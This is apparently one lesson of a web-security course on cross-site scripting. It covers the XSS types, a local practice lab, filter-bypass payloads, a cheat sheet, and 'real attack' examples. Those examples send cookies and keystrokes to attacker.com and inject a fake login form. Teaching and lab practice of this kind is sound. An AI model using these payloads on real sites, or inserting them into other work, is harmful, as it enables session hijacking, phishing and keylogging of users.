Beyond the Alert Box
In Lesson 1, you made a popup appear. That was XSS — but it was the most obvious, unprotected version.
Real applications have defenses. Today you'll learn:
- The three types of XSS
- How to find XSS systematically
- How to bypass common filters
- What attackers actually do with XSS
Time to level up.
The Three Types of XSS
Type 1: Reflected XSS
Your input is immediately returned in the response.
Example: Search results page
https://site.com/search?q=<script>alert(1)</script>
The malicious input bounces off the server and back to you.
Delivery: Victim must click a malicious link.
Type 2: Stored XSS
Your input is saved and displayed to other users.
Example: Comment sections, profile bios, forum posts
You post a malicious comment. Everyone who views it gets hit.
Impact: Higher — affects multiple users without direct targeting.
Type 3: DOM-Based XSS
The vulnerability is in client-side JavaScript, not the server response.
Example: JavaScript reads from location.hash and writes to the page
document.getElementById('output').innerHTML = location.hash.slice(1);
Visit: https://site.com/page#<img src=x onerror=alert(1)>
Detection: You won't see the payload in server responses — check JavaScript sources.
Building a Vulnerable Lab
Download and run the XSS practice lab:
XSS Practice Lab
Multiple XSS challenges with varying difficulty - no filter, basic filter, better filter, stored XSS, and DOM-based XSS
python3 xss_lab.py
The lab includes 5 different XSS challenges:
- No Filter - Direct injection
- Basic Filter - Blocks
<script>tags - Better Filter - Blocks multiple patterns
- Stored XSS - Comment section vulnerability
- DOM-Based XSS - Client-side vulnerability on
/welcomepage
Finding XSS Systematically
Step 1: Map Input Points
Open Burp Suite and browse the application. Look for:
- Search boxes
- Comment forms
- Profile fields
- URL parameters
- Hidden form fields
- HTTP headers that get reflected
Step 2: Test Each Input
For each input, try a canary — a unique string to see if your input appears in the response.
test123xss
Search for your canary in the response. Where does it appear?
- Inside a tag?
<p>test123xss</p> - Inside an attribute?
<input value="test123xss"> - Inside JavaScript?
var x = "test123xss"; - Inside a comment?
<!-- test123xss -->
The context determines which payload will work.
Step 3: Test for XSS
Try a basic payload:
<script>alert(1)</script>
If it works — you're done. If not, the application might have filters.
Bypassing Filters
Filter: Blocks <script> tags
Bypass: Use other tags and event handlers
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
Filter: Blocks <script>, <img>, onerror
Bypass: Use different event handlers or encoding
<svg/onload=alert(1)>
<body/onpageshow=alert(1)>
<details open ontoggle=alert(1)>
<audio src=x onerror=alert(1)>
Case manipulation (if filter is case-sensitive):
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
Filter: Blocks alert
Bypass: Use other functions
<img src=x onerror=confirm(1)>
<img src=x onerror=prompt(1)>
<img src=x onerror=console.log(1)>
Or encode the function:
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
(YWxlcnQoMSk= is alert(1) in base64)
Exploiting DOM XSS
DOM XSS is different — the payload never hits the server.
Finding It
Look at the JavaScript source for dangerous sinks:
document.write()element.innerHTML =eval()setTimeout()/setInterval()
And dangerous sources:
location.hashlocation.searchdocument.URLdocument.referrer
Exploiting the Lab's DOM XSS
Visit: http://localhost:8888/welcome#Guest
The page says "Hello, Guest!"
Now try: http://localhost:8888/welcome#<img src=x onerror=alert(1)>
The JavaScript reads your payload from the URL and writes it to the page.
Real Attack Scenarios
Scenario 1: Session Hijacking
Steal the victim's cookie:
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>
Or:
<img src=x onerror="location='https://attacker.com/steal?c='+document.cookie">
The attacker receives the session cookie and can impersonate the victim.
Scenario 2: Credential Theft
Inject a fake login form:
<form action="https://attacker.com/phish" method="POST">
<h2>Session Expired - Please Login</h2>
<input name="user" placeholder="Username">
<input name="pass" type="password" placeholder="Password">
<button>Login</button>
</form>
Scenario 3: Keylogger
Capture everything typed:
<script>
document.onkeypress=function(e){
fetch('https://attacker.com/log?k='+e.key);
}
</script>
XSS Payload Cheat Sheet
Basic:
<script>alert(1)</script>
Image tag:
<img src=x onerror=alert(1)>
SVG:
<svg onload=alert(1)>
<svg/onload=alert(1)>
Event handlers:
<div onmouseover=alert(1)>hover me</div>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
JavaScript URI:
<a href="javascript:alert(1)">click</a>
Breaking out of attributes:
" onmouseover=alert(1) "
' onfocus=alert(1) autofocus '
Lab Challenges
- Challenge 1: Section 1 (Easy) — Basic XSS — no filter. Use any payload.
- Challenge 2: Section 2 (Medium) — Filter blocks
<script>tags. Use an alternative. - Challenge 3: Section 3 (Hard) — Filter blocks
<script>,<img>,onerror,onload. Find a bypass. - Challenge 4: Section 4 (Stored) — Post a comment that triggers XSS for everyone who views the page.
- Challenge 5: Section 5 (DOM) — Trigger XSS via the welcome page URL fragment.
What's Next?
You now understand XSS deeply — types, detection, filter bypasses, and real exploitation.
In Lesson 5: SQL Injection, we'll learn to talk directly to databases. If XSS is about hijacking users, SQLi is about hijacking the entire application.